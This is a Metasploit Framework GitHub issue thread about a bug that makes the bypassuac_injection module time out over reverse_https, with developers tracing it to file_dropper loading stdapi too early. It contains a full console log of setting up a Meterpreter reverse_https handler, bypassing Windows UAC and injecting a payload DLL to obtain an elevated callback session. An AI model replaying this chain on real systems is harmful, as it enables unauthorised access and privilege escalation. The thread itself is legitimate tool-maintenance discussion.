rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
34.18k stars 13.98k forks source link

reverse_https times out with bypassuac_injection #4820

Open wchen-r7 opened 9 years ago

wchen-r7 commented 9 years ago

The root cause is not yet determined so the issue subject may need to adjusted eventually.

Originally reported here: https://github.com/rapid7/metasploit-framework/pull/4553#issuecomment-75449711

Good afternoon, all! I just wanted to let you guys know that the new bypassuac module works GREAT over reverse_tcp, however it seems to timeout over reverse_https.

I've tried both local and remote tests (with permission) over reverse_tcp and reverse_https on both virtual machines and different windows 7 machines (all x64, using a 32 bit payload) and have received the same result.

To clarify, everything runs smoothly until the second meterpreter session is returned to the console. This is the point where the connection times out, rundll32 crashes on the target machine, and both meterpreter sessions fail to respond to future commands.

I've attached relevant information below:

msf > use multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https PAYLOAD => windows/meterpreter/reverse_https

msf exploit(handler) > set LHOST 192.168.1.23

LHOST => 192.168.1.23

msf exploit(handler) > set LPORT 9927

LPORT => 9927

msf exploit(handler) > exploit

[] Started HTTPS reverse handler on https://0.0.0.0:9927/ [] Starting the payload handler... [] 192.168.1.59:49193 Request received for /Gjx3... [] 192.168.1.59:49193 Staging connection for target /Gjx3 received... [*] Meterpreter session 1 opened (192.168.1.23:9927 -> 192.168.1.59:49193) at 2015-02-22 13:11:53 -0500

meterpreter > sysinfo Computer : PORYGON-PC OS : Windows 7 (Build 7601, Service Pack 1). Architecture : x64 (Current Process is WOW64) System Language : en_US Meterpreter : x86/win32 meterpreter > background [*] Backgrounding session 1... msf exploit(handler) > use exploit/windows/local/bypassuac_injection msf exploit(bypassuac_injection) > set PAYLOAD windows/x64/meterpreter/reverse_https PAYLOAD => windows/x64/meterpreter/reverse_https msf exploit(bypassuac_injection) > set SESSION 1 SESSION => 1 msf exploit(bypassuac_injection) > set TARGET 1 TARGET => 1 msf exploit(bypassuac_injection) > set LHOST 192.168.1.23 LHOST => 192.168.1.23 msf exploit(bypassuac_injection) > set LPORT 9927 LPORT => 9927 msf exploit(bypassuac_injection) > exploit

[] Started HTTPS reverse handler on https://0.0.0.0:9927/ [+] Windows 7 (Build 7601, Service Pack 1). may be vulnerable. [] UAC is Enabled, checking level... [+] Part of Administrators group! Continuing... [+] UAC is set to Default [+] BypassUAC can bypass this setting, continuing... [] Uploading the Payload DLL to the filesystem... [] Spawning process with Windows Publisher Certificate, to inject into... [+] Successfully injected payload in to process: 3212 [] 192.168.1.59:49455 Request received for /9kTd... [] 192.168.1.59:49455 Staging connection for target /9kTd received... [] Meterpreter session 2 opened (192.168.1.23:9927 -> 192.168.1.59:49455) at 2015-02-22 13:13:05 -0500 [-] Exploit failed: Rex::TimeoutError Operation timed out. ###(THIS IS WHERE RUNDLL32 CRASHES) [] Waiting 0s before file cleanup...

[!] This exploit may require manual cleanup of 'C:\Users\Porygon\AppData\Local\Temp\yIkzuKJA.dll' on the target

msf exploit(bypassuac_injection) > sessions -i 2 [*] Starting interaction with 2...

meterpreter > load stdapi Loading extension stdapi... [-] Failed to load extension: No response was received to the core_loadlib request. meterpreter > background [] Backgrounding session 2... msf exploit(bypassuac_injection) > sessions -i 1 [] Starting interaction with 1...

meterpreter > getuid [-] Error running command getuid: Rex::TimeoutError Operation timed out. meterpreter >

hdm commented 9 years ago

This seems to be using a 64-bit payload from a 32-bit session and injecting into a 32-bit container (rundll32). Can you try this using the 32-bit payload for bypassuac?

wchen-r7 commented 9 years ago

Oh yeah, geez that was kind of obvious but I failed to see it.

hdm commented 9 years ago

Maybe related to #4651 as well.

OJ commented 9 years ago

Yup, I'm going with the injection of a 64bit payload into 32bit process.

The module should have handled this case though.. so there's definitely something going wrong. I'm happy to look into this.

Meatballs1 commented 9 years ago

This takes two steps.

First step, inject into a signed process. This requires correct DLL (x86/x64) but is determined by module - this must be working or we wouldn't see the meterpreter stage.

Second step, place DLL into correct folder (DLLHijack) and get it to be loaded by process. The payload must match the system arch. In this case it has been correctly specified as x64. As such it is executing correctly and the first stage is loaded.

So unless the PAYLOAD being sent back isn't as specified (x64) it isn't an arch issue.

OJ commented 9 years ago

I've been looking into this issue a little. In short, it's not an architecture mixture problem. I can repro no problem on Windows 7 and Windows 8.1.

What's interesting is that this does work if you use set DisablePayloadHandler true in the exploit, and just use an existing handler. If the handler is launched alongside the exploit, then things don't work so well.

Still digging.

OJ commented 9 years ago

Inside the reverse_https shellcode, the call to HttpSendRequest is failing. The result is error 12002, which is ERROR_INTERNET_TIMEOUT.

I'm not sure why this is happening, given that any existing handlers work just fine. Still looking.

OJ commented 9 years ago

OK, finally got to the bottom of it, but won't submit a solution until we've discussed. This needs attention/opinions from the likes of @hmoore-r7, @jlee-r7, @wchen-r7, @wvu-r7, @bcook-r7, etc. ie. the smart folks.

So the problem is that bypassuac_injection, as an example, uses the file_dropper module. This module has an on_new_session override which is invoked when a new session is created. In the case of reverse_http/s payloads, this function is invoked before the session has fully been set up. On a new session, the handler prepares a response which contains the metsrv DLL, and stores it in the response:

        blob = obj.stage_payload(
          uuid: uuid,
          uri:  conn_id
        )

        resp.body = encode_stage(blob)        ### <~  THIS BIT HERE

        # Short-circuit the payload's handle_connection processing for create_session
        create_session(cli, {
          :passive_dispatcher => obj.service,
          :conn_id            => conn_id,
          :url                => url,
          :expiration         => datastore['SessionExpirationTimeout'].to_i,
          :comm_timeout       => datastore['SessionCommunicationTimeout'].to_i,
          :retry_total        => datastore['SessionRetryTotal'].to_i,
          :retry_wait         => datastore['SessionRetryWait'].to_i,
          :ssl                => ssl?,
          :payload_uuid       => uuid
        })

As you can see, create_session is called before the response is returned to the target:

    end

    cli.send_response(resp) if (resp)   ##### <~ THIS BIT HERE

    # Force this socket to be closed
    obj.service.close_client( cli )

Inside the create_session call we end up in on_new_session in the file_dropper, which does this:

  def on_new_session(session)
    super

    if session.type == 'meterpreter'
      ### THIS is where we come unstuck
      session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
    end

    unless @dropped_files && @dropped_files.length > 0
      return
    end

    @dropped_files.delete_if do |file|
      exists_before = file_dropper_file_exist?(session, file)
      if file_dropper_delete(session, file)
        file_dropper_deleted?(session, file, exists_before)
      else
        false
      end
    end
  end

The highlighted code above shows that the file_dropper attempts to load stdapi because it's not there. This is no surprised because the session hasn't even got metsrv yet. This is the reason we end up with things hanging. The reason we don't see this when we have a separate handler is because the separate handler doesn't have the file_dropper module wired into it.

The fix to this issue isn't immediately obvious to me so I didn't want to attempt it. I felt it'd be better for you guys to take a look at it first. I had pondered the option of forcing the response down the wire prior to establishing the session, but initial tests showed that this didn't work too well.

Super keen to hear your thoughts.

OJ commented 9 years ago

PS. This probably hurts other exploits that use file_dropper as well, but I haven't yet looked into that.

mostafataliza commented 8 years ago

Hmmm I get Timeout error in many commands Download / upload / I use windows/meterpreter/reverse-https I get this error if the file I'm downloading or uploading is a little big ( 2 Mb or bigger ) not that big but still I get time out here is stdoutput:

[-] Error running command upload: Rex::TimeoutError Operation timed out.

void-in commented 8 years ago

@mostafataliza You are probably having another issue that is not related to this one. The upload/download works fine at my end. You might be having a slow connection or the operation might be detected by some NIDS/HIDS etc. Post your issue at https://community.rapid7.com and we might be able to figure out what is going on.

mostafataliza commented 8 years ago

OK Thank you (by the way reverse-tcp works just fine no timeouts even if the file is 100 Mb big though reverse_https can't make it with 1 Mb file )

fsacer commented 6 years ago

updates on this?

OJ commented 6 years ago

No.

github-actions[bot] commented 3 years ago

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.